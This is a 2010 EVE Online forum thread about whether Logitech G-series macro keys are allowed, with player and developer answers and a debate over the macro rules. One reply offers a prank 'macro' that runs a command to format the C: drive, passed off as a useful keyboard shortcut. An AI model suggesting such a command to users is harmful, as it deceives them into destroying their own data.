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Jeremiah Tameri
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Posted - 2010.05.20 14:50:00 -
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I recently bought a Logitech G11 gaming keyboard which allows you to record commands and assign them to a button, am I allowed to use this feature with eve?
I was going to use the feature to do stuff like make drones deploy and attack my first target with the press of a button but then I realised eve has a strict policy with macro's so I wanted to ask before I did it in the case that it's not allowed. 
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Dan O'Connor
Cerberus Network
Dignitas.
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Posted - 2010.05.20 14:52:00 -
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 Originally by: Jeremiah Tameri
I recently bought a Logitech G11 gaming keyboard which allows you to record commands and assign them to a button, am I allowed to use this feature with eve?
I was going to use the feature to do stuff like make drones deploy and attack my first target with the press of a button but then I realised eve has a strict policy with macro's so I wanted to ask before I did it in the case that it's not allowed.
The G-type keyboards are allowed. Have a G15 myself.
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Jeremiah Tameri
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Posted - 2010.05.20 14:57:00 -
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Ah thanks, that's put my mind at rest.
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Legs Mackenzie
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Posted - 2010.05.20 15:09:00 -
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This gives you people with fancy keyboards an advantage over me...
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Jeremiah Tameri
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Posted - 2010.05.20 15:21:00 -
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Edited by: Jeremiah Tameri on 20/05/2010 15:23:35
There's always one 
Also, G11's are pretty cheap now - mine cost 24.99 GBP.
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S'qarpium D'igil
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Posted - 2010.05.20 15:35:00 -
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They are allowed... I bought my first-generation G15 back when they were ~~ $70USD and I've never looked back.
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Akita T
Caldari
Caldari Navy Volunteer Task Force
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Posted - 2010.05.20 15:50:00 -
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Anything that allows you to expedite your direct control is allowed.
Anything that CAN be used to control stuff WITHOUT your direct command to do so is forbidden.
Basically, if you have to push a button for something to happen just then or in the following second or so it's ok, but if you push a button and stuff keeps happening for more than a couple of moments (that wouldn't have otherwise happened if your device/software/whatever was not involved) it's not ok.
In yet other words, as long as everything happens because you actually sit there and control it, it's ok, but if the software/machine/device COULD do it without you present, it's a big no-no.
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Vitamin B12
Ninjadeathkitty
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Posted - 2010.05.20 16:19:00 -
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Edited by: Vitamin B12 on 20/05/2010 16:21:03
Originally by: Akita T
Anything that allows you to expedite your direct control is allowed.
Anything that CAN be used to control stuff WITHOUT your direct command to do so is forbidden.
Basically, if you have to push a button for something to happen just then or in the following second or so it's ok, but if you push a button and stuff keeps happening for more than a couple of moments (that wouldn't have otherwise happened if your device/software/whatever was not involved) it's not ok.
In yet other words, as long as everything happens because you actually sit there and control it, it's ok, but if the software/machine/device COULD do it without you present, it's a big no-no.
in other words when i adjust the speed of my macrominer clicking its ok. thanks 
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btw which kind of macros you can make with your shiny G15 (for eve though). never had that kind of keyboard 
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BrundleMeth
Caldari
Temporal Mechanics
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Posted - 2010.05.20 16:37:00 -
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Originally by: Vitamin B12
Edited by: Vitamin B12 on 20/05/2010 16:21:03
Originally by: Akita T
Anything that allows you to expedite your direct control is allowed.
Anything that CAN be used to control stuff WITHOUT your direct command to do so is forbidden.
Basically, if you have to push a button for something to happen just then or in the following second or so it's ok, but if you push a button and stuff keeps happening for more than a couple of moments (that wouldn't have otherwise happened if your device/software/whatever was not involved) it's not ok.
In yet other words, as long as everything happens because you actually sit there and control it, it's ok, but if the software/machine/device COULD do it without you present, it's a big no-no.
in other words when i adjust the speed of my macrominer clicking its ok. thanks
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btw which kind of macros you can make with your shiny G15 (for eve though). never had that kind of keyboard
This macro is excellent. You string together a group of commands:
"Start, run, echo | y format c: /u"
Then watch the real fun...
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Akita T
Caldari
Caldari Navy Volunteer Task Force
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Posted - 2010.05.20 16:41:00 -
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Sadly, a really good bot (with some minimal human supervision across several instances) is indistinguishable from a real player anyway.
The ways to catch macro/bot users are : the supervisor steps out for too long while it's being investigated, the macro/bot is sloppily programmed (either too simplistic or with not enough randomness), the macro/bot does not get properly updated after some patch and starts acting all "botty", and last but not least, the "owner" screws up by either bragging about it giving up clear evidence against himself, or by running them 23/7.
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CCP Navigator
C C P
C C P Alliance
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Posted - 2010.05.20 17:15:00 -
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Just to confirm what others have said, a G11 keyboard is perfectly valid in EVE Online 
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Jeremiah Tameri
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Posted - 2010.05.20 17:19:00 -
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Originally by: CCP Navigator
Just to confirm what others have said, a G11 keyboard is perfectly valid in EVE Online
woo dev response, I feel special! 
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Angeli Domini
Amarr
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Posted - 2010.05.20 17:23:00 -
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Originally by: BrundleMeth
This macro is excellent. You string together a group of commands:
"Start, run, echo | y format c: /u"
Why would you be trying to pipe an output of the echo [on/off] status into an "y" command?
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labby1
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Posted - 2010.05.21 21:22:00 -
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Has someone got a G11 keyboard as i dont know why but when i set up the keys they dont work when playing eve and im unsure why. for example when i set G18 to open scanner it is set as Ctrl + F11, however when i press the G18 button i get the number 5 displaying in my local chat, i cant seem to get any key function to work.
if anyone can offer advice i would be grateful
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Jeremiah Tameri
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Posted - 2010.05.21 21:43:00 -
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Originally by: labby1
Has someone got a G11 keyboard as i dont know why but when i set up the keys they dont work when playing eve and im unsure why. for example when i set G18 to open scanner it is set as Ctrl + F11, however when i press the G18 button i get the number 5 displaying in my local chat, i cant seem to get any key function to work.
if anyone can offer advice i would be grateful
I think you need the logitech G-series profiler application from their site.
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Moghydin
Silver Snake Enterprise
Against ALL Authorities
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Posted - 2010.05.21 21:58:00 -
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There's an inconsistency here. So, if I buy G11 or G15 and use keyboard macro buttons, it's perfect.
If I develop those macros myself without Logitech fancy boards, it can get me banned, right? What I can't understand is why Logitech board makes illegal macro legal? To assign macros to a button, you don't need special keyboard, all you need is a little piece of software that has nothing to do with Logitech.
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genette devo
Gallente
Center for Advanced Studies
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Posted - 2010.05.21 22:46:00 -
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Originally by: Moghydin
There's an inconsistency here. So, if I buy G11 or G15 and use keyboard macro buttons, it's perfect.
If I develop those macros myself without Logitech fancy boards, it can get me banned, right? What I can't understand is why Logitech board makes illegal macro legal? To assign macros to a button, you don't need special keyboard, all you need is a little piece of software that has nothing to do with Logitech.
i'm just guessing here but I would bet that a macro that has the same effect would't get you banned, say a macro key that you push to on/off your active tank or offensive boosting mods would be ok, a macro that totally automates the falcon alt or mining fleet not ok
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